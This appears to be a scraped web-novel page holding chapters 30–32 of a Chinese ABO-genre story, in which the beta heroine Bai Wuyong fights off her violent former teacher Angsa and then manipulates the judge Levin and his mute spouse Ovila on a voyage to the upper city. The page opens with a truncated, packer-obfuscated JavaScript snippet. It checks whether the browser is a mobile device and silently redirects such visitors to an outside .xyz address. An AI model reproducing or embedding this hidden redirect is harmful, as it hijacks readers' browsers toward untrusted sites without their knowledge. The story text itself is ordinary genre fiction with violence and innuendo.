d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912178|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又折了回去,在莱文惊讶的眼神中直接把他的眼镜扯下来。 “就当是朋友最后的道别礼物。”我丢下一句话,生怕他后悔就快步离开了。 就这样拐了个转角,我才心有余悸地把眼镜放进口袋里。 今晚就找阿丽处理一下眼镜,看看能卖多少钱。最好和她好好商量要怎么离开贫民窟。 我今天算是明白,昂撒完全不打算装了。 他就是给我两条选择,要么去死,要么加入他们的组织。 艹,我两个都不想选。 这些乱七八糟的组织一旦加入就必须干活,干活就会威胁生命。 我又不是阿丽,我贪生怕死,要我拿着枪冲上前线绝对不可能。 正思索呢,我察觉到前面的路被人挡住了。 抬头一看,是一张熟悉的甜美笑脸。 哦,那个过渡区的交际花omega。 他距离我很近,恨不得贴在一起,声音甜腻腻地说:“你真厉害呀,原来不只一个omega,还有其他人呢。” 我扯扯嘴角,没什么表情,“你都看见了?” “对啊。”他又往我身上靠了一些,“你们吵架的声音真大,我只是不小心路过,就全部听见了。” 鬼扯,这人就是纯粹爱听墙角。 我和克斯蒂搞的时候在那偷听,我和莱文吵架也在偷听。 “你就不怕我说出去?” “你有胆子说出去吗?”我讥讽,“告诉克斯蒂?他会相信吗?” 护士闻言眨眨眼,竟然还委屈上了,“真不理解他为什么那么讨厌我,很多时候我都没有办法。谁让我想好好生活呢?你知道吧,我一个omega想要在过渡区好好生活,只能那么做。” “你应该能理解我,你也是个不被他们喜欢的beta不是吗?” 我懒得听他掰扯。 四处看了看,把他拽到了楼梯间,又确认这里是监控死角,就开口问:“你想做什么?” 外形甜美的omega瞪着无辜的眼睛,“你觉得我想做什么?” “不说我就走了。” “别走啊!”他拦住我的去路,总算没有再搔首弄姿,“我知道再过不久贫民窟就会有大事发生。” 我原本不耐烦的表情立刻变成正经严肃的老实人,“你什么意思呢?贫民窟一直都是这样吧?” “我知道你和她们有关系。”护士说道。 “谁?”我反问。 护士靠近我的耳边,小声说:“组织‘重构’,你和组织里某个成员的关系很好,不是吗?” 哇哦,这人竟然知道阿丽。 我大概明白护士是什么意思了。 他交际花的身份经常接触军人,知道点细枝末节理所应当。或许他不知道贫民窟会爆炸,但从底层爬上去特有的敏锐让他对威胁性命的事情分外敏感。 “你想让我带你走。”我笃定说道,“真可惜,我自己都出不去呢。” 护士却上半身完全贴住我,然后抓住我的手摸上面颊。 “别那么着急拒绝,我就是想活命而已。只要能带我出去,怎么样都行。”护士微微上挑眉毛,浅粉色的瞳孔微微凝聚,将我此刻的表情填进去。 “我知道你肯定有办法。白无用,你可不像名字那样没用。” 30-40 第31章 alpha男性生得高大,鸦色的眼睛,灰黑色的短发,衬衫松松垮垮穿着,衣角还沾染了些许灰尘。 就算是半蹲,也能感受到扑面而来的热浪,那是爆炸后的粉尘味,呛得白无垠轻微咳嗽,眼角挤出泪花。 可现在的她动弹不得。直面爆炸所带来的副作用很强大,不仅头晕眼花,还伴随阵阵耳鸣。 撑着她脑袋的手晃了晃,连带她的视线也跟着晃荡。 “怎么不说话?之前不是很能说的吗?”他笑着说道。 他的五官辨识度极高,哪怕是一片雾蒙蒙的视野内,白无垠也能看见对方眉毛和嘴唇挪动时的肌肉纹理。 通过面部肌肉纹理的变化去甄别一个人的微表情,还是他亲自教导的。 见白无垠一言不发,昂撒便有些不耐烦地继续拍打她的面颊,“来,叫一声老师听听。七年没听你叫了,多少有点怀念。” 白无垠总算听清楚他说了什么,于是熟悉地扬起一抹笑,喊了一句:“老师,好久不见啊。” 如他所愿喊出来,可他脸上笑容又在一瞬消失了。 他目光沉沉地注视白无垠,翻涌的某种情绪不受控制地扯动眼角的肌肉,之后便极致压抑地开口:“白无垠,是不是很后悔?当初只是割破我的腺体,却没有弄死我?” 提起七年前的过往,白无垠觉得没有狡辩的必要。 她是什么德行,昂撒一清二楚,找再多理由反而死得更快。 于是她笑眯眯地对上昂撒的视线,“确实很后悔,老师。但你也该高兴啊,我不手软一下,你还有机会见我吗?” 话音落下,一股巨大的力道将白无垠的脑袋摁在了地面上! “砰!”的好大一声,额头撞上坚硬的地面,立刻擦出血花来,让白无垠又是一阵头晕眼花。 但她没那么坐以待毙,于是在昂撒准备再给她来一下时猛然挣脱,从后腰的口袋里掏出短刀对准了昂撒的脖子就来划过去! 昂撒稍稍侧头就躲开了她的偷袭,手腕一转再次抓住她的脑袋第二次磕在地面上。 这一次的他手下没留情面。 等白无垠晕过去,昂撒拽住她的一条腿站起来,长腿随便一踢把短刀踢开,就那边停靠的越野车走去。 beta女性被他托在后面,流出的血在地面留下长长的一道痕迹。 昂撒一边拖人,一边自言自语地说话。 “白无垠,你可真是个白眼狼啊。” “我教你读书写字,教你打架杀人,教你经营算计,我还教你怎么和alpha上床不被标记。” “你倒好啊,穿上裤子第二天就敢拿刀对准老师。” 昂撒越是说,就越是笑,笑得腮帮子的肌肉发疼。 昏迷的白无垠自然无法回答他,双眸紧闭,满脸是血,一副命不久矣的模样。 简直和当初第一次见面时一模一样。 瘦弱的一个人,眼神却和狼似的,凶狠又精明。 到了越野车旁,昂撒拉开车门,将白无垠提起来丢进去。 强烈的震感让白无垠清醒过来,睁开第一眼就看见坐在座位上点烟的昂撒。 他也知道白无垠醒过来了,却还是慢条斯理地吐一口烟雾才看过来。昏暗的车厢内,白色的烟雾遮挡住他一部分的五官,只剩下一张深红色的唇清晰暴露。 “呵。”他又开始拍打白无垠的面颊。 这个动作他做了无数次,七年过去了也不见得生疏。 紧接着,就是一口浓雾吐在白无垠的面颊上。 “咳咳咳!”白无垠开始咳嗽。 昂撒又开始笑。先是轻笑,然后是大笑,笑得胸膛起起伏伏,将布满伤痕的胸膛从衬衫里挤出来。 随着他的动作,白无垠看见他的头发落下来,露出后脖颈处一道狰狞的伤痕。 白无垠盯着那伤痕许久,突然说:“你的腺体,好了?” 昂撒的笑声戛然而止,阴涔涔地视线扫过来。 白无垠继续问:“白矿石的作用,和alpha和omega到底是什么关系。无人区里那么多alpha和omega,beta却只有那几个。就连beta生下的孩子,都是alpha和omega。” “前几天你的几个alpha下属,也是突然腺体出现问题,然后用白矿石粉末安抚下来。” “老师,我在无人区待了十六年,我比你这个半路出来的人更了解白矿石。就算它们碾成灰兑成水,我看一眼就一清二楚。” 莱文道出“昂撒”这个名字之前,白无垠根本不知道眼前alpha的名字。 他始终让白无垠以“老师”的称呼来叫他,行为举止也和那些被送到无人区的底层人截然不同。 那些监工拿他没办法,打也不是骂也不是,也没有多么谄媚,全把他当成一个透明人。 想到贫民窟自21日开始的乱动,白无垠问:“你和莱文,是什么关系?” 车厢内一时间陷入寂静。 香烟烫了昂撒的手指,被他随手摁在烟灰缸内。 许久,昂撒缓缓开口,“怎么?那个omega你不喜欢?他的眼睛和我多像啊,你上他的时候想起我了?” “所以那天你才会丢诱发剂?” 昂撒嗤笑,算默认了。 白无垠:“……老师,你还是和从前一样变态。” 亲手把替身送到学生床上这种骚操作,果然只有昂撒这个变态能做到。白无垠就不行,白无垠只能含泪把人撅了。 白无垠此时心情有点复杂,又有点死。 脑壳子很疼,还在往外渗血,感觉再过不久她就得失血过多死了。 于是她按照昂撒的习惯在车厢内摸索一番,果然找到了纱布,自己给自己包扎起来。 “所以老师要你杀了我?” “刚开始想。”昂撒说道,就这样看着白无垠包扎脑袋。 等她包扎后,昂撒一只手掐住白无垠的后脖颈,拇指在那块肌肤上摸索,“不过我改变主意了。” “你是我的学生,我怎么舍得杀你呢?” alpha男性的气息逼近,那灰尘味更加浓郁,几乎钻进白无垠的鼻腔里。 想到某种可能,白无垠面色骤变,抬起手肘毫不留情撞上昂撒的太阳穴。 针管从昂撒的口袋跌落,白无垠手疾眼快地抢过针管将其砸碎! “我草!”白无垠爆粗口,“鬼才做alpha!” 昂撒面无表情,被肘击后只是短短眩晕一秒,就再次压制住了白无垠,从另一边口袋拿出崭新的针管,然后对准了白无垠的后脖颈。 那一块肌肤常年不见光,白得过分,轻易就能找到合适下针的地方。 眼见针就要捅进去了,白无垠焦急万分,“老师!我要是变成alpha,你不就是a同了嘛!你不要这么快放弃自己啊!” 昂撒却冷笑一声,压制的手力气更重,“你艹的beta还少么,还在乎a同?” “这能一样吗?这不一样啊!”白无垠破防,“我不要做有机物!” 奇怪的词语蹦出来,昂撒不耐烦皱眉,针管直接往下扎! “阿丽你个天杀的,再不快点我就要变性了!” 昂撒瞳孔皱缩,“白无垠!” 下一秒,越野车被另一辆车猛地冲撞侧翻! 越野车厢内的两人一阵天旋地转,位置颠倒! 好不容易平息下来,白无垠咬着牙想要爬出车窗,却被昂撒摁住后腰。 他像是一只饿极了凶狠的野兽,拖着白无垠要将她撕碎。 阿丽跳出车,拉住白无垠的手往外车,同时匕首对准昂撒的手就要扎下去! “你特么小心点,别扎我的腰子!”白无垠怒骂。 于是匕首转了个方向对准昂撒的脸。 昂撒为了躲避,只能松开白无垠。 白无垠总算是爬出去了,还不忘白眼狼的本性对准昂撒的脸踹一脚。 几番缠斗,昂撒也爬出了车厢。 就在他准备掏枪时,远处的爆炸声将三人的注意力吸引了过去。 一声又一声,轰然爆炸,地面也跟着颤抖,皲裂。 白无垠失血过多,手脚有些发软,只能扒住阿丽的肩膀。 而阿丽看一眼那边的爆炸,就准备带着白无垠离开。 “别走!”白无垠挣扎着说,眼神目不转睛看着那边的昂撒,“先杀了他!” 昂撒同样面无表情,正快速地往弹夹里填充子弹。 是白无垠熟悉的老式手枪。 阿丽不理解都这个时候了为什么白无垠还想杀一个无关紧要的人,却还是听话地将她轻轻放在一边,朝着昂撒攻去! 一声枪响,阿丽敏捷躲开,并拉近了与昂撒的距离。 爆炸声越来越近,两人只能速战速决。 白无垠歇了一会,就咬牙爬起来,跑过去加入缠斗。 她下的是死手,用的是车窗玻璃碎片,每一次都对准了昂撒的大动脉。 而不远处,也跑来几个昂撒组织的下属。 时间不多了! 白无垠的鼻尖落下汗水,手掌心已然血肉模糊。 “轰!” 又是一声爆炸。 趁着这最后的时间,白无垠高高举起碎片,朝着昂撒的大动脉划过去! “噗嗤!” 血撒了她半张脸,可落手的地方不是大动脉,而是熟悉的腺体。 “唔!”昂撒浑身一僵,鸦色眼眸猛然瞪大,捂住那被第二次划破的腺体连续倒退好几步。 白无垠想乘胜追击,可阿丽却直接将她扛起来往外跑! “阿丽!” “没时间了!”阿丽说道。 于是白无垠只能看着昂撒的身影在视野内越来越小,越来越小。 手心的面颊还是热的,裹挟着浓郁的灰尘气味。 她分不清那是爆炸产生的硝烟,还是昂撒本人的信息素。 在白矿石的作用下,她也感觉到后脖颈有些发热。她应该是沾染了针管内的液体。 视野中,alpha男性的脸渐渐消失,只有那双鸦色的眼睛迸发出惊人的情绪还留存在脑海中。 简直和七年前如出一辙。 “阿丽,你是有机物吗?” 阿丽整扛着她上蹿下跳,听到这个问题反应了一会,反问说:“难道你是有机物?” “我当然是无机物!” “哦,我也是。” 太好了,alpha女性是无机物。 白无垠眼前开始模糊了。 但她还是不想做alpha,于是用最后的力气举起手中的碎片划开后脖子。 痛一痛,也好过成为被信息素支配的动物。 昏迷之前,白无垠语重心长嘱咐阿丽,“你一定要把我放对位置啊,我赶不上会死的。” “好。”阿丽点头。 白无垠这才放心晕过去。 可惜,都做到这个程度了还是没能杀了昂撒—— 作者有话说:昂撒,简直是女主各种意义上的第一次[墨镜] 终于能换地图了,这次去上行城,女主要升职加薪去法院做公务员啦哈哈哈。至于克亚区的“弟弟”,后续就会有他出场的机会。 第32章 我觉得现在有点死。 脑子疼,胸口疼,手疼脚疼,后脖子也疼,还像是一天之内连续抠了十八个矿洞那样精疲力尽,身心俱疲。 太特么累了,偏偏耳边吵得要死,有谁在那里叽叽歪歪。 我花费好大力气终于睁开眼,就瞧见一个熟悉的人影背对着我通话。 “我试过了,但是没找到。” “他当初有本事离开家族,又在七年前的暴乱中活下来,就不是那么容易找到的。” 我全身动弹不了,只能歪歪斜斜地侧着脑袋看着omega男性的背影。 挺直的背脊,高高昂起的头颅,精瘦的腰。从后面的角度看,能看见专门定制的西装燕尾顺着臀部向下滑落,直到恰到好处的地方挺直,然后欲盖弥彰地露出点臀部曲线。 不知道通讯器对面的人是谁,让这位高傲的omega男性处于紧绷的状态,以至于他的站姿笔挺。那绑在大腿上的衬衫夹子也显现出来了。 刚刚醒来就直面如此色香味俱全的一餐,我差点就要吹口哨,好在被我惊人的意志力制止住了。 呼~差点就维持不住人设了。 正长吁短叹呢,莱文就把通讯器挂断了。 我立刻把眼睛闭上,调整呼吸。 过几秒后,我就困难地睁开眼睛,满脸都是老实人大难不死的的迷茫无措以及梦幻。尤其是对上莱文的视线后,我的眼神中更是惊喜中夹杂一丝不舍然后是转瞬即逝的痛苦,最后重新把眼睛闭上。 “我……这是死了吗?” 和昂撒打了一架后我感觉我的灵魂升华了,演技更上一层楼了,就连眼睛里的情绪都能做出一个扇形统计图了。 现在这个世界上,我敢说除了昂撒和克亚区那男的外,谁看了我都要感慨一句可怜笨拙淳朴又有自尊的老实人。 可恶啊昂撒这个老登怎么就没死呢! 他!怎么!就!杀不死!呢! 想到我的未来还有昂撒这个拦路狗挡着,我就感觉有一条麻绳吊在我脖子上随时要把我的脑袋切下来。 算了不管了,反正我是蟑螂,就算脑子掉了也能往嘴里塞米饭。 我闭上眼的时间只有短短一秒,omega就逼近了床边。 “白无用。”他叫我的名字。 我假装没听见。 他又带上怒意叫了一声,“白无用!” 我这才装作不敢置信地睁开眼睛看向他,“……莱文。” 莱文的心情看起来不怎么好,眼神上下扫视我,然后定在我的脖子上,“昏迷了一天还能醒来,白无用,你真是命大。” 什么命大不命大,这都是我算计来的! 要不是我让阿丽把我丢到东区港口确保会被你看见,我现在都成飞天烟花了! “是……你救了我吗?”我语气虚弱,让自己看起来可怜兮兮,“谢谢。” 莱文冷冰冰地撇我一眼,问:“是么,那你该好好回答我,你脖子上的伤口是哪来的?为什么会有那么浓郁的信息素味道。” 说到这时,莱文就厌恶嫌弃地捂住鼻子,“还是个alpha。” 哎哟,你这不就问到点子上了嘛。 对啊,为什么呢?我也想知道昂撒那个死变态为什么想要给我变性,要不是我提前给阿丽留了信息,我都不知道我能不能在昂撒手下躺过三趟。 而这些话肯定是不能完全和莱文说的,起码不能说全。 那要怎么说呢? 等我酝酿一下情绪。 于是在莱文的注视下,我深吸一口气,深色哀切,一副备受痛苦又发现某种真相后遭遇重大打击的可怜模样。 “莱文,你和昂撒是什么关系?” 莱文愣住了。 很好,就要抓住这个机会反客为主,让他直面老实人的怒火! “我只是想要回到图书馆,就被他袭击了。我最开始不知道他是谁,直到他提起了你,我才知道你们之间有关系!” omega男性的唇紧紧抿在一起,镜片下的眼眸冷得出奇。可那一层冷只是薄薄的冰,只要再激动一些就能轻易敲碎。 我抓住机会不给他反应时间,“我已经做好准备死掉了,就算他把我的脑袋切下来我都觉得无所谓!可他从闻到我身上属于你的信息素后,竟然改变了主意!” “他要折磨我,把我做一个侮辱你的工具,要强行标记我!” 老实人那叫一个痛苦啊,迷茫啊,无措啊! 我又有什么错呢?我都已经做好去死的准备了,可突然就有一个人跑过来侮辱我的人格尊严,还要做一些违法乱纪的事情,这谁能忍? 听完我的阐述后,莱文瞳孔地震,陷入极度的震撼。 接下来就不用我说了吧,你自己脑补一下。 我现在脑壳很疼,你自觉一点别让我动太多脑子。 omega男性的表情变了又变,嘴唇开开合合,视线也落在我包裹了纱布的脖子上。 良久,他才干涩开口,“beta没有腺体,alpha想要标记很麻烦。” 他竟然在给昂撒找借口! 我特么的,你到底什么意思,怎么你还维护起来了? 不行,我管你们两人什么关系,反正我在这你们只能是死敌关系。 “如果他给我注视转化药剂呢?”我缓缓开口。 说出这句话时,我牢牢盯紧他的脸,准确捕捉每一丝的微表情。 莱文的表情更震撼了。 你惊讶什么啊,我可没说谎哦。 “不可能!他可不是——”他猛然爆发出尖锐的怒骂,可在接触到我的视线后又瞬间冷静下来。 他开始思考我话语的真实性,然后发现我的话竟然更有说服力。 毕竟昂撒在无人区待了那么多年,他就算和昂撒有什么关系,这么多年下来也早该*生疏了。 “莱文。”我叫住他,“你和他,到底是什么关系?他为什么这么恨你?” 好吧其实不说我也猜了个大概。 房间内沉默许久,莱文才将他和昂撒的关系缓缓道来。 “他……是我的哥哥。” 我了然,表面上做出震惊表情的同时内心开始对比两人的长相。 嗯……都是28岁,眼睛的颜色相似,头发不同,再结合之前得到的零碎信息,可知两人不是同胞兄弟。 莱文继续说:“12年前,他在毫无征兆的情况下背叛家族宣布加入叛乱党,后来被人抓住证据判刑,送去了无人区。” 12年前,正好是我在无人区遇到昂撒的时候。 “可如果他是你的哥哥,为什么又要这么对你?”我的语气有些焦急。 莱文胸膛微微起伏,似乎实在压抑怒火。一阵冗长的呼吸后,他才继续说:“他是私生子。” “当初他毫无征兆地背叛家族,给我们带来了很大的舆论压力。为了平息法院和公民的怒火,我们不得不抓捕他。而找到他藏身地点的人,正是我。也是我亲手将他送上了法庭。” 哇哦,多么正义凛然,多么大义灭亲。 真是闻者伤心,见者落泪。 但我不信。 昂撒那个变态的性格根本不是家族的私生子身份能养出来的,只能是底气十足的正牌继承人。反而是莱文这种斤斤计较随时随地要用阶层和性别包装自己的人更像见不得人的毒蛇。 莱文缺爱,但没有人给他爱,于是他只能让自己看起来根本不需要爱。 哈哈,一个正牌继承人会因为虚无缥缈的爱破防吗?根本不会啊!手里只要有钱有权,爱几把爱不爱的。 昂撒那种不爽了直接捅人刀子强迫人变性的才是底气十足唯我独尊的纯血天龙人啊!再看看昂撒对莱文的态度,直接把人送我手底下挨抠,跟丢个玩具似的。 大致将昂撒和莱文之间的恩怨猜出来,我表面上大受震撼,然后露出一点点心疼不忍又佩服的表情。 然后又想到现在两人的关系尴尬,于是又笨拙隐忍地别过头去不看他。 “你……很厉害,也很不容易。”我讷讷说道,手无意地抓紧了床单,生硬转移话题,“我们在船上吗?我觉得有点头晕。” 莱文的所有情绪被我过分生硬地转移话题打断了。他用微妙复杂的眼神盯了我一会,点头,“嗯。” 我继续别扭,通过憋气让自己面颊通红,又在下一秒情绪层次渐进地缓缓苍白下来,“我以为你不愿再看见我……” 对的对的,嘴角的苦涩多一点,眼里的麻木多一点,“我算是明白,为什么昂撒会把我丢在港口了。” “大概是为了让你看见我这一幅悲惨的模样,又或者让你眼睁睁看着我去死吧。哈哈,他的想法只能落空了,我对你来说什么也不是。” “我仅剩的那点自尊心也被他差点打碎了。” 说完这些,我就把自己塞进暖呼呼的被窝里假装抑郁。 哎嘿,这被子可真暖!我要一辈子待在里面! 蒙在被子里,我看不见莱文的表情,但可以听对方的声音。 “白无用。” 我一动不动。 他笑了一声,完全是高高在上出于怜悯的那种施舍,“你没有退路,只能跟我走了。” “至于奥维拉,上岸后没必要再见他。你有比他更重要的事情要忙碌。” 我一下子就把被子掀开来,“莱文,你想做什么?” omega男性的眉毛高高上挑,傲慢和刻薄的姿态演绎得淋漓尽致,“你得去法院,不是么?” “你没有拒绝的权利。我甚至从昂撒的手中救了你一命,你连死的资格都没有,所以最好任由我安排。” 我瞪大眼睛,呼吸有些粗重。 意识到摆放在我眼前的是光明前途的机会,我没有立刻答应,而是继续瞪着不敢置信的眼神,惶恐又震惊,“莱文!我连大学都没有读过,怎么可以去法院!” “那是寻求公平正义的地方!” 莱文却是嘴角勾起,将我的手臂扯过去拉近距离,“白无用,你是多天真才觉得法院不一样?” 我面色骤然苍白,“大家……都是这么说的。” “你说的大家,是贫民窟内的人,还是无人区内的人?”莱文讥讽,“不会是听昂撒说的吧?” “白无用,如果我们真有那么在乎你们这些底层杂种,贫民窟就不会爆炸。” 他简直是把所有的负面情绪和恶意都朝我倾泻下来,非得看着我深受打击痛不欲生的表情才扬起愉悦的笑容。 这个贱人的情绪真好操控啊,只是给他当个情绪垃圾桶就能从他手里扣出点东西了。 那我就如你所愿咯,斯科特大法官。 笑死,要是法院真有宣传的那般“公平正义”,我又怎么能走关系进去呢? “莱文……我以为你和他们不一样。”我声音沙哑颤抖,内心的某处似乎被莱文的恶意击垮,痛苦又迷茫。 莱文终于满意地松开我的手,“白无用,你别无选择。” “砰!”的一声,他就将大步离开将门关闭了。 海面广阔无垠,浅浅的海浪不足以撼动这一艘大型游艇。 几个船员站在甲板上估测距离,看见莱文后立刻惶恐地低下头认真工作。 一旦周围没有熟悉的人,莱文就恢复了面无表情高高在上的模样。 他冷静,克制,用上层人最喜欢的尺子去测量底层人的品德和罪行,知道他的人都会高高举起酒杯赞美他的理智。 一直如此,他是很优秀的法官。 身后的房间没有动静,莱文想也知道对方此时是什么情绪。 莱文当然可以留在房间里看对方陷入痛苦崩溃的表情,这会让他诞生一种扭曲的愉悦。 可莫名其妙的,在扭曲的愉悦后莱文选择离开房间。 这简直是一种逃避的行为,生怕对方的眼神里出现什么他不想看见的东西。 莱文从喉间溢出一声嗤笑,将那莫名其妙的情绪丢开。 他是莱文斯科特,上行城的法官,完全可以肆意地给她定罪。 “奥维拉先生,醒了。”身边的人小声说道。 莱文下意识就把眉头皱起来了,“他说什么了?” 但没一会他的眉毛又舒展开了,露出尖锐刻薄的嘲弄,“忘了,他喉咙报废了,说不了话。你让他打手语吧。” 助理闻言一愣,“这,奥维拉先生会手语吗?” “和我有关系吗?”莱文反问。 要是白无用在场,听了就会马上躲在小角落里翻白眼。 你俩是法定配偶,明面上关系好着呢,怎么就没关系? 等吐槽完,白无用就会立刻做出老实本分看不得人受罪的好人模样,然后体贴地递给奥维拉纸和笔。 但白无用不在,她现在正因为要进法院乐着呢。 上岸结算mvp,说的就是白无用啊! 助理表情复杂地去了奥维拉所在的房间,没过多久就传来乒铃乓啷东西摔打的声音,吵闹喧哗,把船员的注意力都吸引了过去。 不出几分钟,红黑色的身影就离开房间,大步朝他走过来。 红发beta想要大声怒骂,可无论如何也发不出准确的音调,只能吐出难听的音阶。 莱文双手环胸,“你想说什么?” 奥维拉双目通红,面色憔悴,头发凌乱,脖子上更是缠绕厚重的纱布。 助理苦相地站在奥维拉身后,企图做和事佬让奥维拉冷静点,可根本没用。 “哦,是了,你说不了话。”莱文毫不客气地对奥维拉吐毒液,“那为什么不使用手语呢?我记得大学的时候你有这一项课程。” 说完后,莱文又恍然大悟记起来一样,“我忘记了,这是大三的课程,你那个时候面临退学,最后只能和我结婚。” 我打开门,正好将话听全。 杀人诛心啊,莱文你这张嘴简直无差别攻击所有人。 我悟了,当初莱文同意和奥维拉分居一定是害怕半夜被奥维拉捅死。 我都不敢想要是我在贫民窟使用这张嘴,我半夜两只眼睛需要轮流站岗多少回。 “你——”奥维拉艰难地吐出一个字来。 他的声音沙哑难听,仅仅是简单的一个字,就耗费了他足足两秒的时间酝酿,却还是让这个字的音调听起来像小孩子的牙牙学语。 而当他说完这个字,瞧见莱文脸上毫不掩饰的嘲弄后,直接将他的情绪点燃! 他猛然爆发出一句难以听清楚的话,就要和莱文打起来。 我吓了一跳,“奥维拉!” 赶忙上去把人拉住,按在身后努力安抚,“奥维拉,你冷静些!你现在不适合说话,你有什么事情你写在纸上,我替你说!” 奥维拉这才发现我也在船上,让他本就没有又空置好几天的大脑直接停止运转。 让这个神经病从昏迷前被叛乱党袭击到一觉醒来无法说话的巨大转变中缓过神来实在是太为难了,还不如好好安抚他,免得后续发疯。 “奥维拉,没关系,我在,大家都在。”我动作轻柔地拍打奥维拉的肩膀和后背,“一切发生地太突然了,我知道你暂时无法接受,但没关系,我在的。” 奥维拉在我的安抚下渐渐情绪平缓。 安抚了奥维拉,我还得应付莱文。 这就是脚踏两条船后过了明路的舒坦吗? 反正都被发现了,那就干脆一起呗,大不了死一死嘛—— 艹,好几把怪。 我在莱文恶毒的注视中松开奥维拉,轻轻咳嗽一声看向莱文,“刚才发生了什么,莱文,可以告诉我吗?” 莱文眼底的嘲弄依旧,“显而易见,不是么?他又在发疯,因为说不了话。” “啊!!”奥维拉又要暴起了! 我第二次把人按住,“奥维拉!” 然后我又面向莱文,“我们三人好好聊聊,好吗?把一切都说开!” 你俩确定一下信息,然后听我给你们编一下,制造一个信息差。 你信你的,他信他的。 在我略带祈求和卑微的目光中,莱文终于屈尊同意了。 重新回到我的房间,我身心疲惫坐回床边。 我感觉我的额头开始渗血了。 也不知道奥维拉哪来的精力,一觉醒来就开始上蹿下跳。我现在看人都觉得烦,哪有力气打架啊。 三人在房间内,全都保持安静。 我揉一把脸,从镜子里瞧见了一个憔悴苍白的形象。 很好,很适合接下来的剧本。 于是我再次酝酿情绪,将奥维拉昏迷这几天的发生的事情挑挑拣拣说出来,确保莱文和奥维拉都没发现异常。 说到莱文知道两人关系时,奥维拉这个神经病的情绪就这样丝滑地转变为愉悦。 刚才说一大堆的叛乱党和爆炸你是一个字都不听,只听见了我俩奸情被抓是吧? “事情就是这样……奥维拉。”我气若游丝,声音像是被锯子来回拉扯一样沙哑,仿佛耗尽了所有力气,“我以为我会死,没想到我又被莱文救下来了。” 奥维拉把我后面那句话省略过去。 在他看来既然我俩的关系已经坦白,那就没必要装下去,直接伸出手去摸我额头。 我灵巧躲开,脸别到另一边去,“奥维拉,别再这样了。” 呐,技巧就在这啦。 我要怎么做才能让奥维拉体会到我的不容易和让莱文知道我内心的痛苦纠结呢? 那就是干脆把问题丢给他们自己。 只要看不见我的表情,随便他们怎么脑补,反正都能脑出他们自己喜欢的样子。 奥维拉的手被我躲开,竟然没有恼怒,而是将阴翳的视线投向莱文。 莱文也没有避讳地与他的视线直直碰上去,讥讽意味十足。 我就坐在他们两人之间,疲惫地缩回被窝里。 一想到奥维拉说不了话也不会手语,莱文尖酸刻薄不给奥维拉纸和笔,这两人没法对账,我就想笑。 哈哈哈爽死了! 等一下,奥维拉的通讯器也可以打字。 不过这个想法仅仅在我的脑子里留存一秒就被我愉快丢开。 就奥维拉那个性格,怎么可能会有耐心打一长串字。就算有耐心,莱文为了嘲讽也不会看。 更爽了哈哈哈! 内心狂笑过后,我让脑子钻出被我,又是一副虚弱疲惫地可怜人样子,“莱文,奥维拉,只是这段时间而已,可以让我……” 纠结了好久,我才崩溃地捂住脸,“我真的不知道该怎么面对你们,明明大家都没有做错,为什么会发展成这样。” “是不是我太自以为是,或者太敏感了?” “不……就算是我自以为是吧,起码在海上的这段时间里,让我享有作为人的尊严好吗?” 听见了吗,这段时间你俩安静点,我不想养伤期间还得看你俩打架。 情绪价值也是有限度的,信不信我忍无可忍把你们都杀了丢海里喂鱼? 开玩笑的,总之你俩别吵。 对于我这个可怜老实人的祈求,奥维拉说不了话直接略过,莱文则是居高临下地递给我一个讥讽的眼神,就离开了房间。 门“砰”一下关闭,又只剩下我和奥维拉。 红发beta静静看我一眼,而后缓缓靠近,手指抚摸上我的眼角。 我握住他的手指,笑容牵强,“奥维拉……” 一切尽在不言中。 之后在海上航行的这几天确实各种意义上的风平浪静。 也可能是奥维拉本人说不了话的缘故吧,反正我觉得耳边清净没有尖叫声太好了。 我不知道贫民窟东区距离上行城有多远,就在某一天摸到了驾驶舱看地图。 第一眼没看懂,于是我用忠厚老实的面孔请教船员,终于看懂了。 “嘶——”我倒吸一口凉气。 巨大的世界地图下,白灯湾只有小小的一个白点,外围一圈是以人工河为纽带连接在一起的上行城。再外一圈是庞大如蜿蜒巨蛇的军事区,被其隔离开的是绝大多数公民居住的克亚区。克亚区地形崎岖,被铲除了所有的天然湖和山峰,全都用来建造工厂和居民区。 克亚区之后就是人工填平的过渡区和未填平的大海,之后才是贫民窟和无人区。 这只是大陆,在大陆之外是各种被标注为私人领域的群岛。 上面有什么东西谁也不知道,我只能偶尔从那些走私犯的口中知道某些大人物会在群岛上豢养漂亮的omega,专门来接待客人。 啧,上流社会都下流。 弥补了地理知识的我进行短暂的长吁短叹,伤春悲秋。 十天后成功登陆上行城的我容光焕发,昂首挺胸。 此时的我已经拆下了额头上的纱布,挺直背脊迈开腿离开房间。 等我看见港口的景象后,又像是打霜的番茄蔫不拉几。 不行,太上流了,把我这个下流人衬托得不成样。 我没怎么读过有用书的大脑在此刻根本找不到形容词,只能蹦出两个朴实无华的词语:卧槽。 斯科特家族的人早早等待在港口接应,在游艇靠岸放下船板的下一秒,就训练有素地为大法官提行李。 我跟在莱文的身边,想要挺直胸膛,可碍于人设还是把脑子垂下去。 奥维拉则是神态厌倦,对那些忙前忙后的人一视同仁地嫌弃看不起。 坐上车,我就透过车窗去看不断后退的风景。 线条美感的建筑物,合理规划的交通路线,干净整洁的街道,甚至还有专门提供给富人逗弄宠物的小广场。 没有睡在大街上的穷人,也没有漫天飞舞的垃圾传单,甚至不用担心治安。因为每间隔两百米就能看见一个持枪巡逻的警察。 真好啊,这些没有吃过生活苦痛的人脸上洋溢的笑容都是那么纯粹,整得世界多美好似的。要不是我从贫民窟出来,我的信了。 等等!你们的通讯器上怎么会出现投影啊!这玩意太高端了吧! 这让我以后怎么玩! “白无用。”莱文把我的注意力唤过去。 我保持恍惚的表情转过去看他,眼底的情绪翻涌,最后回归平静,“怎么了,莱文?” 莱文皱眉,竟然什么都没说。 他先是不管奥维拉的反抗,让人把奥维拉送去斯科特庄园,然后又吩咐司机转个弯去另外的地方。 到了目的地,我下车后再一次被眼前的公寓震撼。 装饰地板缝隙的难道是金子?应该不是吧,黄金质地很软的,铺地板太奢侈了哈哈哈…… 草他爸的,真是金子。 没见过世面的老实人默默留下痛苦的眼泪,垂头丧气跟着天龙人上楼。 “我给你七天的时间做好准备,七天后你必须去法院报道。”电梯内,莱文对我说道。 